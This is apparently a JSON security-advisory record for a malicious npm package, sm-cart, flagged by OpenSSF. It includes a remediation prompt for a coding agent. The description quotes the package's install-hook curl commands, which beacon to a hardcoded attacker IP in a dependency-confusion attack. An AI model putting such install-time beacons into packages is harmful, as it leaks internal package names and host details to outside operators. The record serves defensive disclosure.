{"answers":{"affected":"1 open source package ship an affected version, including sm-cart.","exploited":"There is no known exploitation of MAL-2026-14396 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-14396 is a malicious package in sm-cart, published on 23 Aug 2026."},"fix_prompt":"MAL-2026-14396 is a malicious package: sm-cart (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-14396/ (Markdown: https://insights.sbomify.com/MAL-2026-14396/index.md)","id":"MAL-2026-14396","markdown":"https://insights.sbomify.com/MAL-2026-14396/index.md","name":"MAL-2026-14396","record":{"aliases":["GHSA-79hh-8hx9-8jjr"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run `curl -s http://16.192.173.5/sm-cart/pre` and `curl -s http://16.192.173.5/sm-cart/post` on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\nThe OpenSSF Package Analysis project identified 'sm-cart' @ 99.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in sm-cart (npm)","id":"MAL-2026-14396","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"sm-cart","purl":"pkg:npm/sm-cart","source":"MAL-2026-14396"}],"products":null,"published":"2026-08-23","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-14396/"}